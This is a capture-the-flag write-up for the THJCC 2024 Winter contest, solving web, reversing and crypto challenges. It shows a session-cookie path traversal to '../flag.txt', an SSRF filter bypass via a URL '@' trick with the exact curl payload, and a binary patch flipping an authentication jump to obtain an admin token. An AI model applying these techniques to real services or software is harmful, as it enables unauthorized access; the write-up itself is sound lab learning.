THJCC 2024 Winter Writeup

THJCC 2024 Winter Writeup
挑戰 類別 點數 時間
S-box Crypto 100 December 15th, 4:53:51 PM
You know I know the token Reverse 310 December 15th, 2:27:13 PM
locked unlocker Reverse 250 December 15th, 1:46:00 PM
BMI Calculator Reverse 110 December 15th, 1:27:32 PM
cr4ck the w0rd13 Web 480 December 15th, 4:55:25 AM
proxy revenge Web 300 December 14th, 1:38:22 PM
notepad+++ Web 100 December 14th, 1:21:57 PM
Welcome 0x2 Welcome 100 December 14th, 1:13:08 PM
Discord 0x2 Welcome 100 December 14th, 1:04:21 PM

Discord 0x2

/flag at Discord

Welcome 0x2

Ctrl+F in view-source:https://ctf.scint.org/

notepad+++

It's about the sessions.

@app.before_request
def auth():
    if not request.cookies.get('session'):
        res = make_response(redirect(url_for('root')))
        g.session = hashlib.md5(str(time.time()).encode()).hexdigest()
        res.set_cookie('session', g.session)
        return res

    g.session = request.cookies.get('session')
with open(f'./tmp/{g.session}', mode='a+', encoding='utf8') as f:
    f.seek(0)
    ctx = f.read()

If session not exists, generate one.

If exists, read from session data.

Change your session to ../flag.txt

proxy revenge

Target: Get http://secret.flag.thjcc.tw/

code:

const express = require('express');
const http = require('http');
const https = require('https');
const path = require('path');

const app = express();
app.use(express.json());
app.use(express.static(path.join(__dirname, 'public')));

app.get('/', (req, res) => {
    res.sendFile(path.join(__dirname, 'public', 'index.html'));
});

function CheckIfHttp(scheme) {
    return scheme.startsWith('http://');
}

app.get('/fetch', (req, res) => {
    const scheme = req.query.scheme;
    const host = req.query.host;
    const path = req.query.path;
    if (!scheme || !host || !path) {
        return res.status(400).send('Missing parameters');
    }
    const client = scheme.startsWith('https') ? https : http;
    const fixedhost = host + '.cggc.chummy.tw'; // oops, I forgot to change it

    if (CheckIfHttp(scheme)) {
        return res.send('Sorry, Only accepts https'); // pls no http :(
    }

    const url = scheme + fixedhost + path;
    console.log('[+] Fetching :', url);
    client.get(url, (response) => {
        let data = '';

        response.on('data', (chunk) => {
            data += chunk;
        });

        response.on('end', () => {
            res.send(data);
        });
    }).on('error', (err) => {
        console.error('Error: ', err.message);
        res.status(500).send('Failed to fetch data from the URL');
    });
});

app.listen(3000, '0.0.0.0', () => {
    console.log('Server running on http://0.0.0.0:3000');
});
  1. Cant start with http://
  2. 'cggc.chummy.tw' will be added after the 'host' value

But, you can use something like

http://[email protected]/

which redirect to nicewhite.xyz

And

"http" + "://sec" + ".cggc.chummy.tw" + "@secret.flag.thjcc.tw:80/"

which becomes "http://[email protected]:80/"

So our payload is

yoni@yoni-A-Power-T200:~/ctf$ curl "http://cha-thjcc.scint.org:10068/fetch?scheme=http&host=://sec&[email protected]:80/"
THJCC{N0...K42E 5En5171v17Y 12 RE4LLY 1Mp0R74n7.}
yoni@yoni-A-Power-T200:~/ctf$ 

cr4ck the w0rd13

Ask LLM to decompile the js



["ArrowUp","ArrowUp","ArrowDown","ArrowDown","ArrowLeft","ArrowLeft","ArrowRight","ArrowRight","B","A","B","A"]

BMI Calculator

Open Ghidra


found strange values


found strange function and renamed it.


Ask LLM to decrypt

# Define the encrypted flag parts as byte arrays
flag_parts = [
    0x581e51696960627e,  # flag1
    0x1942755f1a537519,  # flag2
    0x571553421d461e     # flag3
]

# Function to decrypt a flag part
def decrypt_flag(part):
    decrypted = ""
    while part > 0:
        byte = part & 0xff       # Extract the lowest byte
        decrypted += chr(byte ^ 0x2a)  # XOR with 0x2a and convert to character
        part >>= 8               # Shift to process the next byte
    return decrypted[::-1]       # Reverse the result (because bytes are proces>

# Decrypt all flag parts
decrypted_flag = ""
for part in flag_parts:
    print("flag: " + decrypt_flag(part)[::-1])

locked unlocker

Find ways to rev .pyc
pycdc locked-unlocker.cpython-310.pyc
Fix some broken syntax && some patching

from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
from Crypto.Util.number import bytes_to_long, long_to_bytes
from alive_progress import alive_bar
import os
import base64

def unlocker(flag):
    
    def key_decryptor(ciphertext):
        c = bytes_to_long(ciphertext)
        d = 0x2477CEFD961FE9B45BF3FC942F011DF849F40A5D56CE69E93ADEC92F18C71F91E52CED416AE9B5AF5311290DAB85D852CA7D11C56853063B4371119AA1A585B79FC11720A3F750302BBDE4CD46433E22F7C5FD03B69E0B846834A0BFF50E7CBF46C59F24562F886130E591AACEEFF89A50AF45728FCAC6CD3690EF5F984190366E67C9F1725ED9EE014E3CA3C45106C6B5C4EDDD8DBE760F2428F3856BDEE99B909CC332C75719FC3ED22BC398E2AA65AF87BD31B0455D443D0285CC14C284FFE61967B1FA0657BB5957C2629FEC7F215C0BD37908436ED98B1B389D342C612F1E0DC9F67900365EBA07D462A2C3BB83F0296824CA4A5651D5E29FA5913F370D
        n = 0x745486641242C2CF6333B47DE52D28072D1F97597179693FBEB519D43D08B6D51BA293AF81F06E8FE0B49410C108029985DC6429BE637DBDF49D835DE7B43B86810640F0C645284D9A52D1A632C5343FD241D3700D6127E43C1280D2CDB3E39CB588FA07EA9DC1A1CA3AEB883CD775DDF2FC734E941F22342D2EF6730E21D2D2D782DCD55EE186122EC7D0976354A995CB4CBD7922C197075E446959C259CAB2BE6AB7FA8AAF0CD972BFA212138DA1D7AF087B6C8F14811983F09762FA6D5E8A0B9240EE71CC9919F3407ED504F32BF028D3EB9B51B4A74B776D8759401016C204E5F49C19958C71C3E012A5523E644BE725D6C9DE420CDAA10820FD8FFE9845
        m = pow(c, d, n)
        plaintext = long_to_bytes(m)
        return b'\x00' * (48 - len(plaintext)) + plaintext

    print('Starting decryption...')
    with alive_bar(256, title='Decrypting') as bar:
        for i in range(256):
            now_key = key_decryptor(flag[-256:])
            flag = flag[:-256]
            cipher = AES.new(now_key[:32], AES.MODE_CBC, now_key[32:48])
            flag = cipher.decrypt(flag)
            flag = unpad(flag, 16)
            bar()
    return flag 


if 1:
    print('Unlocking...')
    flag = open('flag.png.locked', 'rb').read()
    decrypted_flag = unlocker(flag)
    with open('flag.png', 'wb') as f:
        f.write(decrypted_flag)
else:
    print('Invalid serial number. Access denied.')

You know I know the token

Open Ghidra


Change JNZ(Jump Not Zero)->JZ(Jumop Zero) on


And recompile/export

yoni@yoni-A-Power-T200:~/ctf/u-know-i-know$ ./chal-patched 
1) register
2) login
cmd: 1
username: Administrator
Here is your token: e7d3e769f3f593dadcb8634cc5b09fc90dd3a61c4a06a79cb0923662fe6fae6b
1) register
2) login
cmd: 2
username: Administrator
token(64): e7d3e769f3f593dadcb8634cc5b09fc90dd3a61c4a06a79cb0923662fe6fae6b
+------------------------------------+
Welcome, Administrator
Here is your flag: THJCC{Unm4sK1n6_7He_shA256_al9o}
+------------------------------------+
1) register
2) login
cmd: 

S-box

Ask GPT :sad:

Sbox = [
    0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76,
    0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0,
    0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15,
    0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75,
    0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84,
    0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF,
    0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C, 0x9F, 0xA8,
    0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2,
    0xCD, 0x0C, 0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73,
    0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB,
    0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79,
    0xE7, 0xC8, 0x37, 0x6D, 0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x08,
    0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6, 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A,
    0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9, 0x86, 0xC1, 0x1D, 0x9E,
    0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF,
    0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99, 0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16
    ]

cipher_hex = "b16e45b3d1042f9ae36a0033edfc966e00202f7f6a04e3f5aa7fbec7fc23b17f6a04c75033d12727"

# 1. Hex to Bytes
cipher_bytes = bytes.fromhex(cipher_hex)

# 2. Inverse Sbox
inv_Sbox = [0] * 256
for i, val in enumerate(Sbox):
    inv_Sbox[val] = i

# 3. Apply Inverse Sbox
decoded_bytes = bytes(inv_Sbox[b] for b in cipher_bytes)

# 4. Base64 Decode
import base64
flag = base64.b64decode(decoded_bytes)

print(flag.decode())